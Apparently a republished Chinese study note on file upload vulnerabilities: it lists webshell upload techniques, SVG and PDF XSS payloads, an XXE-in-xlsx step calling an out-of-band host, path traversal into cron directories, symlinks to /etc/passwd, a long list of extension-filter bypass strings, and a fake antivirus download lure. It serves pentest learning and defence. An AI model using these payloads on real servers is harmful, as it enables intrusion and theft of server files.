码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 学习笔记-Upload


    Upload


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    描述

    文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传一些 webshell 文件。

    相关文章

    • 简单粗暴的文件上传漏洞
    • BookFresh Tricky File Upload Bypass to RCE
    • Upload_Attack_Framework
    • 关于File Upload的一些思考
    • Upload与WAF的那些事
    • web安全-文件上传利用
    • Web 安全漏洞之文件上传
    • 文件上传绕过思路拓展

    相关案例

    • 实战渗透-看我如何拿下自己学校的大屏幕(Bypass) - 大量字符 bypass waf 文件上传
    • 渗透测试tips:两处有趣的文件上传到getshell - 多个漏洞组合利用,无视 OSS 存储 getshell
    • 实战渗透-从FCkeditor敏感信息泄露到Getshell - 利用 fck 的目录遍历找到上传点,fuzz 上传点的参数进行上传
    • 简单记录一次有趣的上传 - bypass 反代小技巧
    • 一次任意文件读取的getshell - 在函数调用获取文件的上传点,通过任意文件读找路径
    • BountyHunterInChina/重生之我是赏金猎人(三)—无脑挖掘某SRC getshell.pdf

    相关工具

    • almandin/fuxploider - File upload vulnerability scanner and exploitation tool.
    • PortSwigger/upload-scanner - HTTP file upload scanner for Burp Proxy

    靶场

    • upload-labs
      • writeup : upload-labs-WalkThrough

    在线 SQLi 测试

    • https://scanner.baidu.com/#/pages/intro
    • https://n.shellpub.com/
    • https://webshellchop.chaitin.cn/demo/

    检测方法

    waf、rasp 对上传文件的检测方法有这几种

    • 后缀检测(黑白名单)
    • 文件内容检测
    • Content-Type 检测
    • 后端二次渲染(图片裁剪、图片水印)

    利用方式

    网站脚本文件

    如 asp、aspx、jsp、php 后缀的网站脚本文件,通过访问上传的 webshell 执行系统命令,获取服务器权限。

    可造成 XSS 或跳转的钓鱼文件

    • html

    • svg

      <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
    • pdf
      xss

      app.alert('XSS');

      ssrf

      <link rel=attachment href="file:///root/secret.txt">
    • xml

    服务器可执行文件(PE、sh)

    配合社工手段,例如 : 最近办公内网发现大量勒索病毒,信息科紧急部署了新版杀毒引擎,请各部门人员立即下载,下载地址: www.xxx.com/upload/木马查杀工具.exe

    mp4、avi

    配合 ffmpeg 漏洞

    shtml

    ssi 注入

    xlsx

    XXE

    1. 创建一个 xlsx 文档,更改后缀为 zip,解压。
    2. 打开 Burp Suite Professional,单击 Burp 菜单并选择 “Burp Collaborator client” 将其打开, 复制到粘贴板。
    3. 找到 Content_Types.xml 文件,插入 xxe 代码到文件中。
      1. xxe SYSTEM "http://xxx.burpcollaborator.net"> ]>
      2. <x>&xxe;x>
    4. 重新压缩为 zip 文件,更改后缀为 xlsx。上传 xlsx 文档到目标服务器,如果没有禁用外部实体,就会存在 XXE 漏洞,burp 接收到请求。

    路径穿越写 shell

    1. 例如可以上传文件名为 ../../../../var/spool/cron/root ,通过这种方式执行命令
    2. 如果做了白名单后缀,只允许 jpg ,可以传到 /etc/cron.d/ 目录下,这里文件可以任意后缀命名,上传文件名为 …/…/…/…/…/…/etc/cron.d/test.jpg 绕过对应的安全检查

    跨目录解压

    相关工具

    • ptoomey3/evilarc
    • Rvn0xsy/zipcreater - 应用于跨目录的文件上传漏洞的利用,它能够快速进行压缩包生成。
    • TheKingOfDuck/evilzip - evilzip lets you create a zip file(with password) that contains files with directory traversal characters in their embedded path.

    Bypass

    信息泄露

    • 云平台 API key 泄露

    解析漏洞

    • IIS 解析漏洞
    • Nginx 解析漏洞
    • Apache 解析漏洞
    • CGI 解析漏洞

    恶意上传

    • zip、mp4 占用资源
    • HTML XSS

    后缀检测

    • 后缀名Fuzz
      • AboutSecurity/Dic/Web/Upload/
      • web通用
        • htm
        • html
        • shtml
      • .net
        • asa
        • asp
        • ashx
        • asmx
        • aspx
        • axd
        • cdx
        • cer
        • config
        • cshtm
        • cshtml
        • rem
        • soap
        • svc
        • shtml
        • vbhtm
        • vbhtml
      • java
        • jsp
        • jspa
        • jsps
        • jspx
        • jspf
      • php
        • php
        • php1
        • php2
        • php3
        • php4
        • php5
        • phtml
      • Misc
        • txt
        • svg
        • pdf
        • xml
        • xlsx
    • 大小写(windows)
      • xxx.pHp、xxx.Jsp
    • 空格绕过
      • xxx .php
      • xxx.php
    • 点绕过
      • xxx.php.
    • 换行
      • xxx.txt%0aphp
      • xxx.ph\np
    • .空格. 绕过(windows)
      • xxx.php .
      • xxx.php .jpg
      • xxx.php. .jpg
    • 特殊字符
      • xxx.php::$DATA (windows)
      • xxx.php::$DATA...... (windows)
      • xxx.php/
      • xxx.php?
      • xxx./php (linux)
    • 特殊字符+白后缀
      • xxx.php.jpg
      • xxx.php_.jpg
      • xxx.php/1.jpg
      • xxx.php{}.jpg
      • xxx.php;jpg
      • xxx.php;.jpg
      • xxx.php;+x.jpg
      • xxx.php:1.jpg
      • xxx.php.123
      • xxx.jpg/.php
      • xxx.jpg/php
      • xxx.jpg/1.php
      • xxx.jpg{}.php
    • 双写绕过
      • phpphp.php
      • php.php
      • xxx.pphphp
      • xxx.asaspxpx
    • 00 截断
      • file.jpg%00shell.php
      • shell.php%00file.jpg
      • shell.php%00.jpg
    • .htaccess
    • 中间件解析漏洞
    • 参数
      • 修改 filename="xx.php" 为 filename==="xxx.php"
      • 修改 filename="xx.php" 为 filename='xxx.php'
      • 修改 filename="xx.php" 为 filename=xxx.php

    文件内容检测

    • 免杀
    • 添加图片头
      • GIF89a
    • 大文件
    • 参数污染

    恶意覆盖

    • 覆盖资源文件造成全局 XSS
    • 覆盖配置文件修改配置

    Content-Type 检测

    • Content-Type Fuzz
      • Fuzz_content-type.txt

    后端二次渲染

    • 图片马

    访问拦截

    • 路径
      • xxx.com/test/img/1.png/../../shell.php
    • 解析
      • xxx.com/shell.php;/.png

    软链接

    如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者可利用程序读取到服务器的关键文件内容


    修复方案

    • 使用白名单校验上传文件类型、大小限制
    • 随机重命名上传的文件

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    阿里资深专家撰写出的Nginx底层与源码分析手册,GitHub已爆赞
    ThreadLocal的原理和使用场景
    Ubuntu22.04安装 wordpress
    从前,有一个简单的通道系统叫尤娜……
    【Linux】Linux进程控制
    鸿蒙APP开发时WebView导致Log功能异常
    【Spring】注解
    java 中汉字转拼音
    .NET开源、跨平台的本地日记APP - SwashbucklerDiary
    阿里云ECS导入本地,解决部署的问题
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127639606
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号